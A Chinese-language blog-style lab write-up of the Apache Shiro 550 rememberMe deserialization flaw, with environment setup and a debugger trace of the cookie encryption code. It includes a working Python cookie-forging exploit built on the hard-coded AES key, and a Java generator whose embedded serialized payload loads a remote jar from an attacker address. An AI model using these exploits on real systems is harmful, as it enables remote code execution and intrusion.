摘要

Shiro漏洞分析及利用

1.Shiro概述

Shiro是一个用Java编写的强大且易于使用的身份验证、授权和加密框架。它提供了一套完整的安全解决方案,可以轻松地集成到Java应用程序中。Shiro的设计目标是简化应用程序的安全性实现,同时保持灵活性和可扩展性。

Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。

在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。

只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞,重点是找到反序列化链子。

Shiro 的 “记住我” 功能是设置 cookie 中的 rememberMe 值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索 cookie 中 RememberMe 的值;
  2. Base64 解码;
  3. 使用 AES 解密;
  4. 反序列化。

漏洞原因在于第三步,在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,于是我们就可以构造 RememberMe 的值,然后让其反序列化执行。

2.环境搭建

Windows10 + IDEA

shiro 1.2.4

tomcat 8.5.73

下载 shiro 1.2.4

github 地址: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

使用 IDEA 进行环境搭建

在samples/web/pom.xml中添加依赖支持jsp,以及CC链

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<!-- 添加commons-collections4 -->
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

IDEA配置tomcat

tomcat8下载地址:https://tomcat.apache.org/download-80.cgi

下载完成后直接解压即可。

配置这里选择tomcat解压路径。

将samples-web添加进Tomcat的deployment中。

为了方便直接用端口访问目标,可以将应用程序上下文置空。

访问端口自定义即可。

3.使用Vulhub Docker搭建

1
2
3
svn checkout https://github.com/vulhub/vulhub/trunk/shiro/CVE-2016-4437
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

4.漏洞复现

payload生成流程

1
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

python脚本

ysoserial 项目地址: https://github.com/frohoff/ysoserial

exp.py(需要将ysoserial的jar包放在同目录下)

shiro 1.2.4 版本,使用的是默认 key: kPH+bIxk5D2deZiIxcaaaA==

AES 加密 cc 链,为 rememberMe 的 Cookie 值

这里使用‘CommonsCollections2’生成链子(需要添加common-collections4依赖)生成命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
# payload = encode_rememberme("touch /tmp/123456")
# with open("payload.cookie", "w") as fpw:
# print("rememberMe={}".format(payload.decode()), file=fpw)
print("rememberMe={}".format(payload.decode()))

1
python exp.py calc
1
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

使用java生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package shiro;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class generateBase64 {
public static void main(String[] args) {
Base64 B64 = new org.apache.shiro.codec.Base64();
byte[] key = B64.decode("4AvVhmFLUs0KTA3Kprsdag==");
//反序列化payload的base64编码
java.lang.String text = "rO0ABXNyAChjb20ubWNoYW5nZS52Mi5jM3AwLlBvb2xCYWNrZWREYXRhU291cmNlZoRH/BzETxgCAAB4cgA1Y29tLm1jaGFuZ2UudjIuYzNwMC5pbXBsLkFic3RyYWN0UG9vbEJhY2tlZERhdGFTb3VyY2UAAAAAAAAAAQMAAHhyADFjb20ubWNoYW5nZS52Mi5jM3AwLmltcGwuUG9vbEJhY2tlZERhdGFTb3VyY2VCYXNlAAAAAAAAAAEDAAdJABBudW1IZWxwZXJUaHJlYWRzTAAYY29ubmVjdGlvblBvb2xEYXRhU291cmNldAAkTGphdmF4L3NxbC9Db25uZWN0aW9uUG9vbERhdGFTb3VyY2U7TAAOZGF0YVNvdXJjZU5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABRmYWN0b3J5Q2xhc3NMb2NhdGlvbnEAfgAETAANaWRlbnRpdHlUb2tlbnEAfgAETAADcGNzdAAiTGphdmEvYmVhbnMvUHJvcGVydHlDaGFuZ2VTdXBwb3J0O0wAA3Zjc3QAIkxqYXZhL2JlYW5zL1ZldG9hYmxlQ2hhbmdlU3VwcG9ydDt4cHcCAAFzcgA9Y29tLm1jaGFuZ2UudjIubmFtaW5nLlJlZmVyZW5jZUluZGlyZWN0b3IkUmVmZXJlbmNlU2VyaWFsaXplZGIZhdDRKsITAgAETAALY29udGV4dE5hbWV0ABNMamF2YXgvbmFtaW5nL05hbWU7TAADZW52dAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAEbmFtZXEAfgAJTAAJcmVmZXJlbmNldAAYTGphdmF4L25hbWluZy9SZWZlcmVuY2U7eHBwcHBzcgAWamF2YXgubmFtaW5nLlJlZmVyZW5jZejGnqKo6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3RvcjtMAAxjbGFzc0ZhY3RvcnlxAH4ABEwAFGNsYXNzRmFjdG9yeUxvY2F0aW9ucQB+AARMAAljbGFzc05hbWVxAH4ABHhwc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQACldpblJldmVyc2V0ACpodHRwOi8vMTkyLjE2OC4xMzcuMjM4OjY2NjYvV2luUmV2ZXJzZS5qYXJ0AAdleHBsb2l0cHBwdwQAAAAAeHcCAAF4";
AesCipherService cipherService = new AesCipherService();
ByteSource byteSource = cipherService.encrypt(B64.decode(text), key);
byte[] value = byteSource.getBytes();
System.out.println("rememberMe="+new java.lang.String(B64.encode(value)));
}
}

5.漏洞原理

漏洞产生大致流程

Shiro 550反序列化漏洞存在版本:shiro<1.2.4,产生原因是因为shiro接受了Cookie里面’rememberMe‘的值,然后去进行Base64解密后,再使用AES密钥解密后的数据,进行反序列化。

反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥AES加密后进行 Base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。

1
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

序列化

1
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

首先找到硬编码key的位置。

1
org/apache/shiro/mgt/AbstractRememberMeManager.java

向上溯源:找到 RememberMeManager 类的 onSuccessfulLogin 方法

onSuccessfulLogin : 处理成功登录的过程

在这里下一个断点,调试运行。

浏览器登录,查看 调试信息。

使用账号密码‘root/secret’登录,勾选Remember Me字段。

在断点处拦截到请求,其中‘forgetIdentity’作用是在响应包的Set-Cookie中添加‘deleteMe’字段。

继续跟进 this.forgetIdentity 方法,进入了 getCookie 的 removeFrom 方法

这里获取看配置信息,最后 addCookieHeader 放到了返回包中的 cookie 头中,

其中就有熟悉的 deleteMe 字段和 rememberMe 字段。

继续回到 onSuccessfulLogin 方法,这个 isRememberMe 主要是检查是否选择了 remember me 按钮。

跟进‘rememberIdentity’,其中对登录账号进行encrypt且序列化处理。

进入 convertPrincipalsToBytes 方法,发现它会序列化,而且序列化的是传入的 root 用户名。然后就是进行普通的序列化操作,再然后调用 encrypto 方法加密序列化后的二进制字节

在encrypt中稍微跟进一下看看流程。

通过‘getCipherService’获取加密方式等信息

而在该类的构造函数中就已经设定了DEFAULT_CIPHER_KEY_BYTES的值即

1
kPH+bIxk5D2deZiIxcaaaA==

最终在encryptionCipherKey中设置该key的bytes

通过getEncryptionKey返回该key,加密序列化字符串

回到 rememberIdentity 方法,跟进 rememberSerializedIdentity 方法,进行 SetCookie

最终在‘org/apache/shiro/web/mgt/CookieRememberMeManager.java’最后对加密序列化字符串进行base64编码后设置Cookie返回。

反序列化过程

1
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

在‘org/apache/shiro/mgt/AbstractRememberMeManager.java’中的‘getRememberPrincipals’方法打断点。

从注释就可以看到这个函数是干什么的,这里是将rememberMe的值重建为principals值的。

发送payload包,进行调试。

先对接受到的cookie中的rememberMe​的值进行base64解码。

再次回到 AbstractRememberMeManager 类中,从‘subjectContext’中获取‘rememberMe’的值之后跟进‘convertBytesToPrincipals’函数。

进入 convertBytesToPrincipals 方法,这就是对应加密的解析数据,中间肯定要解密数据,继续跟入,跟进 decrypt 解密函数。

getCipherService () 获取 加解密 方法,AES/CBC/PKCS5Padding​,getDecryptionCipherKey () 获取 解密 KEY , kPH+bIxk5D2deZiIxcaaaA==​。

经过解密获取序列化字符串后,进入‘deserialize’函数进行反序列化。

最终通过‘readObject’函数将攻击者构造的payload进行反序列化。

<u>readObject</u>​ 函数通常用于从流中读取对象并将其反序列化。

触发‘CommonsCollections2’链条构造的calc命令,成功弹出计算器。

参考链接:https://wh0is.xyz/articles/a27657b2/